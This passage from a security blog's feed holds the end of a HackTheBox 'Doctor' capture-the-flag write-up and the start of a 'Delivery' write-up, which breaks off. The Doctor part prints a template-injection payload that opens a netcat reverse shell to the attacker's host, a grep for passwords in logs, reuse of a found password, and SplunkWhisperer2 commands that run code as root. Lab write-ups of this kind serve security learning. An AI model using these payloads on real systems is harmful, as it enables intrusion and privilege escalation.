&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; /tmp/f&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkfifo&lt;/span&gt; /tmp/f&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/f|/bin/sh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; 2&amp;gt;&amp;amp;1|nc 10.10.14.29 4444&amp;gt; /tmp/f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The final payload looked as shown below…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\{\{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.29 4444&amp;gt; /tmp/f&apos;).read()\}\}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now after submitting the message with the payload above in the title and then refreshing the &lt;em&gt;/archive&lt;/em&gt; page, I got the shell shoveled back to my host system!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/reverseshell.png&quot; alt=&quot;CONNECT BACK WEB FOOTHOLD IMG&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;user-flag&quot;&gt;User Flag&lt;/h1&gt;

&lt;p&gt;Now, with the initial foothold on “Doctor” as the “web” user, first we want to &lt;a href=&quot;https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-1-python-pty-module&quot;&gt;upgrade our shell to a fully interactive TTY&lt;/a&gt; shell. We can do so by running the following…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/pythonpty.png&quot; alt=&quot;Python PTY&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Taking a look at &lt;em&gt;/etc/passwd&lt;/em&gt; I see two potentially interesting users, “&lt;em&gt;shaun&lt;/em&gt;” and “&lt;em&gt;splunk&lt;/em&gt;”. From here, I tried A LOT of typical information gathering and privesc stuff, much of which comes from the classic &lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot;&gt;g0tmilk Linux Privesc&lt;/a&gt; guide. After some time, I made my way to &lt;em&gt;/var/log&lt;/em&gt; and found an apache backup file with a rather revealing log entry. I found this by &lt;em&gt;grepping&lt;/em&gt; for “password” using the command below.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; password &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The &lt;em&gt;2&amp;gt;/dev/null&lt;/em&gt; is going to send my error output to &lt;em&gt;/dev/null&lt;/em&gt; so errors won’t be printed to command output. This cleans up the output of this command.&lt;/p&gt;

&lt;p&gt;The log entry of interest from this command is as you can see below…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] &quot;POST /reset_password?email=Guitar123&quot; 500 453 &quot;http://doctor.htb/reset_password&quot;
Binary file ./journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal matches
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this log entry, we can see a password reset which was initiated by shaun. One “&lt;em&gt;su shaun&lt;/em&gt;” with “&lt;em&gt;Guitar123&lt;/em&gt;” later and I am now shaun. Digging around in the Linux host as shaun for a while turned up nothing in terms of progression to root but I was able to pull down the &lt;em&gt;user.txt&lt;/em&gt; file in shaun’s home directory.&lt;/p&gt;

&lt;h1 id=&quot;root-flag&quot;&gt;Root Flag&lt;/h1&gt;

&lt;p&gt;With a set of credentials in-hand, I decided to return to the &lt;em&gt;Splunkd&lt;/em&gt; httpd server I had discovered earlier. Using these creds on that main site of the &lt;em&gt;splunkd&lt;/em&gt; server I find that they…work! Ok, great. Now how does that help me get root? After some tooling around with the newly exposed functionality and the “rpc” component of the server, I turned yet again to trusty Google. Quickly into that research stint I came across &lt;a href=&quot;https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/&quot;&gt;this blog article&lt;/a&gt; which then led me to the handy-dandy tool &lt;a href=&quot;https://github.com/cnotin/SplunkWhisperer2&quot;&gt;SplunkWhisperer&lt;/a&gt;, second of its name. From the documentation, it appeared this tool could give me code execution.&lt;/p&gt;

&lt;p&gt;Of course even if I was able to execute code within the context of the user who installed &lt;em&gt;splunkd&lt;/em&gt;, that wouldn’t guarantee I would have root privileges - not unless of course that service was run as root (or someone with sudo/root privs). So back to my low-priv shell on the Linux box I go to check on the origins of the &lt;em&gt;splunkd&lt;/em&gt; service.&lt;/p&gt;

&lt;p&gt;Lo’ and behold, &lt;em&gt;splunkd&lt;/em&gt; is running, courtesy of root! (as shown below…)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/splunkdservice.png&quot; alt=&quot;splunkd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ok, so root ran &lt;em&gt;splunkd&lt;/em&gt;, and &lt;em&gt;splunkd&lt;/em&gt; will faithfully execute some code for me via &lt;em&gt;SplunkWhisperer&lt;/em&gt;. Let’s put it all together… I clone down &lt;em&gt;SplunkWhisperer2&lt;/em&gt;, &lt;em&gt;cd&lt;/em&gt; to &lt;em&gt;PySplunkWhisperer2&lt;/em&gt; and then try a simple payload, run remotely via &lt;em&gt;PySplunkWhisperer2_remote.py&lt;/em&gt;…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/cnotin/SplunkWhisperer2.git
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;PySplunkWhisperer2
python3 PySplunkWhisperer2_remote.py &lt;span class=&quot;nt&quot;&gt;--host&lt;/span&gt; 10.10.10.209 &lt;span class=&quot;nt&quot;&gt;--lhost&lt;/span&gt; 10.10.14.29 &lt;span class=&quot;nt&quot;&gt;--username&lt;/span&gt; shaun &lt;span class=&quot;nt&quot;&gt;--password&lt;/span&gt; Guitar123 &lt;span class=&quot;nt&quot;&gt;--payload&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;id

&lt;/span&gt;Running &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;remote mode &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Remote Code Execution&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;.] Authenticating...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Authenticated
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;.] Creating malicious app bundle...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Created malicious app bundle &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;: /tmp/tmped00srun.tar
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Started HTTP server &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;remote mode
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;.] Installing app from: http://10.10.14.29:8181/
10.10.10.209 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;15/Jan/2021 15:19:35] &lt;span class=&quot;s2&quot;&gt;&quot;GET / HTTP/1.1&quot;&lt;/span&gt; 200 -
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] App installed, your code should be running now!

Press RETURN to cleanup

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;.] Removing app...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] App removed
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Stopped HTTP server
Bye!

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok…. hmmm… I didn’t get much in the way of command output after running &lt;em&gt;SplunkWhisperer&lt;/em&gt;. I figure everything looks right with the command syntax so I assumed the code was indeed running as root on the remote machine however this tool just simply doesn’t provide the command output in it’s own output. To test this, I whipped up a different (still very simple) command to &lt;em&gt;cat&lt;/em&gt; the username for which the service would execute as to a file, write that file to the &lt;em&gt;/tmp&lt;/em&gt; directory and then &lt;em&gt;chmod&lt;/em&gt; the permissions so I could read it as shaun or &lt;em&gt;web&lt;/em&gt; via my already established session.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 PySplunkWhisperer2_remote.py &lt;span class=&quot;nt&quot;&gt;--host&lt;/span&gt; 10.10.10.209 &lt;span class=&quot;nt&quot;&gt;--lhost&lt;/span&gt; 10.10.14.29 &lt;span class=&quot;nt&quot;&gt;--username&lt;/span&gt; shaun &lt;span class=&quot;nt&quot;&gt;--password&lt;/span&gt; Guitar123 &lt;span class=&quot;nt&quot;&gt;--payload&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;whoami &amp;gt; /tmp/whoami.txt; chmod 777 /tmp/whoami.txt&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Turns out - splunkd was indeed run as root!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/catwhoami.png&quot; alt=&quot;whoami root image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Alright, now I want the root flag. So instead, I cat the &lt;em&gt;root.txt&lt;/em&gt; flag from &lt;em&gt;/root&lt;/em&gt; to a file in &lt;em&gt;/tmp&lt;/em&gt;, &lt;em&gt;chmod&lt;/em&gt; it and then read it the same way as before!&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 PySplunkWhisperer2_remote.py &lt;span class=&quot;nt&quot;&gt;--host&lt;/span&gt; 10.10.10.209 &lt;span class=&quot;nt&quot;&gt;--lhost&lt;/span&gt; 10.10.14.29 &lt;span class=&quot;nt&quot;&gt;--username&lt;/span&gt; shaun &lt;span class=&quot;nt&quot;&gt;--password&lt;/span&gt; Guitar123 &lt;span class=&quot;nt&quot;&gt;--payload&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;cat /root/root.txt &amp;gt; /tmp/rootflag.txt; chmod 777 /tmp/rootflag.txt&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Eureka!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/rootflag.png&quot; alt=&quot;ROOT FLAG.txt&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;wrap-up&quot;&gt;Wrap Up&lt;/h1&gt;

&lt;p&gt;Overall, I think this box was indeed (&lt;em&gt;relatively&lt;/em&gt;) easy, as HackTheBox themselves said. Though I must admit, parts of it did prove a little tricky for me in practice. Some of my big takeaways from this box were…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SSTI is something I should more regularly account for as part of my normal injection tests.&lt;/li&gt;
  &lt;li&gt;From a defensive perspective, it seems like a good idea to avoid randomly exposing Splunk to untrusted users (if you are an administrator of &lt;em&gt;Splunk&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Logs are a great place to hunt for loot. In fact, a little clue related to the log portion of this box is hidden in plain-sight. Thanks to one of my coworkers, the (very) subtle clue, hidden inside the artwork for the box itself, hints at this very thing (take notice of the “log” and the “injection”). Take a look for yourself and revel in it’s unnerving elegance.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/loginjection.png&quot; alt=&quot;HTB Doctor&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 06 Feb 2021 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/htb-doctor</link>
        <guid isPermaLink="true">https://shellsharks.com/htb-doctor</guid>
        
        <category>infosec</category>
        
        <category>hackthebox</category>
        
        <category>pentesting</category>
        
        <category>appsec</category>
        
        <category>network</category>
        
        <category>red</category>
        
        <category>python</category>
        
        <category>nmap</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>HackTheBox: Delivery</title>
        <shark:summary><p>Hello and welcome to another chapter in my <a href="https://www.hackthebox.eu/">HackTheBox</a> writeup <a href="https://shellsharks.com/htb-doctor#series-intro">series</a>. Today’s challenge is “<strong>Delivery</strong>”.</p>
</shark:summary>
        <description>&lt;p&gt;Hello and welcome to another chapter in my &lt;a href=&quot;https://www.hackthebox.eu&quot;&gt;HackTheBox&lt;/a&gt; writeup &lt;a href=&quot;https://shellsharks.com/htb-doctor#series-intro&quot;&gt;series&lt;/a&gt;. Today’s challenge is “&lt;strong&gt;Delivery&lt;/strong&gt;”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb/delivery.png&quot; alt=&quot;Delivery&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#reconnaissance&quot;&gt;Reconnaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#user&quot;&gt;User&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#root&quot;&gt;Root&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h1&gt;

&lt;p&gt;…&lt;em&gt;and awaaay we go&lt;/em&gt;! Target IP is &lt;em&gt;10.10.10.222&lt;/em&gt;, so let’s start with some &lt;a href=&quot;https://nmap.org&quot;&gt;(N)mappin’&lt;/a&gt;…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sS&lt;/span&gt; 10.10.10.222 &lt;span class=&quot;nt&quot;&gt;-A&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;kali:
Starting Nmap 7.91 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2021-01-26 15:50 EST
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.10.222
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.095s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;protocol 2.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
| ssh-hostkey:
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;RSA&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ECDSA&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ED25519&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
No exact OS matches &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;host &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;If you know what OS is running on it, see https://nmap.org/submit/ &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
TCP/IP fingerprint:
OS:SCAN&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7.91%E&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;4%D&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1/26%OT&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;22%CT&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1%CU&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;44461%PV&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DS&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2%DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;T%G&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%TM&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;601080A
OS:E%P&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;x86_64-pc-linux-gnu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;SEQ&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;105%GCD&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1%ISR&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;10B%TI&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Z%CI&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Z%II&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;I%TS&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;A&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;OPS
OS:&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;O1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;M54DST11NW7%O2&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;M54DST11NW7%O3&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;M54DNNT11NW7%O4&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;M54DST11NW7%O5&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;M54DST1
OS:1NW7%O6&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;M54DST11&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;WIN&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;W1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;FE88%W2&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;FE88%W3&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;FE88%W4&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;FE88%W5&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;FE88%W6&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;FE88&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;ECN
OS:&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DF&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%W&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;FAF0%O&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;M54DNNSNW7%CC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%Q&lt;span class=&quot;o&quot;&gt;=)&lt;/span&gt;T1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DF&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%S&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;O%A&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;S+%F&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;A
OS:S%RD&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%Q&lt;span class=&quot;o&quot;&gt;=)&lt;/span&gt;T2&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;N&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;T3&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;N&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;T4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DF&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%W&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%S&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;A%A&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Z%F&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;R%O&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;%RD&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%Q&lt;span class=&quot;o&quot;&gt;=)&lt;/span&gt;T5&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;R
OS:&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DF&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%W&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%S&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Z%A&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;S+%F&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;AR%O&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;%RD&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%Q&lt;span class=&quot;o&quot;&gt;=)&lt;/span&gt;T6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DF&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%W&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%S&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;A%A&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Z%F
OS:&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;R%O&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;%RD&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%Q&lt;span class=&quot;o&quot;&gt;=)&lt;/span&gt;T7&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DF&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%W&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%S&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Z%A&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;S+%F&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;AR%O&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;%RD&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%Q&lt;span class=&quot;o&quot;&gt;=)&lt;/span&gt;U1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DF&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;N%
OS:T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%IPL&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;164%UN&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0%RIPL&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;G%RID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;G%RIPCK&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;G%RUCK&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;G%RUD&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;G&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;IE&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Y%DFI&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;N%T&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;40%CD
OS:&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;S&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Network Distance: 2 hops
Service Info: OS: Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;using port 80/tcp&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
HOP RTT      ADDRESS
1   93.30 ms 10.10.14.1
2   94.48 ms 10.10.10.222

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;25.86 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Scan results yield a web server (port 80) and an &lt;em&gt;SSH&lt;/em&gt; server (port 22). Let’s first check out the web server. On the main page I see a link to a new subdomain &lt;em&gt;helpdesk.delivery.htb&lt;/em&gt;. (&lt;em&gt;You may need to scroll to the right in the snippet below to see what I am referring to&lt;/em&gt;.)&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!--[--&amp;gt;&lt;/span&gt;The best place to get all your email related support &lt;span class=&quot;c&quot;&gt;&amp;lt;!--]--&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;br&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
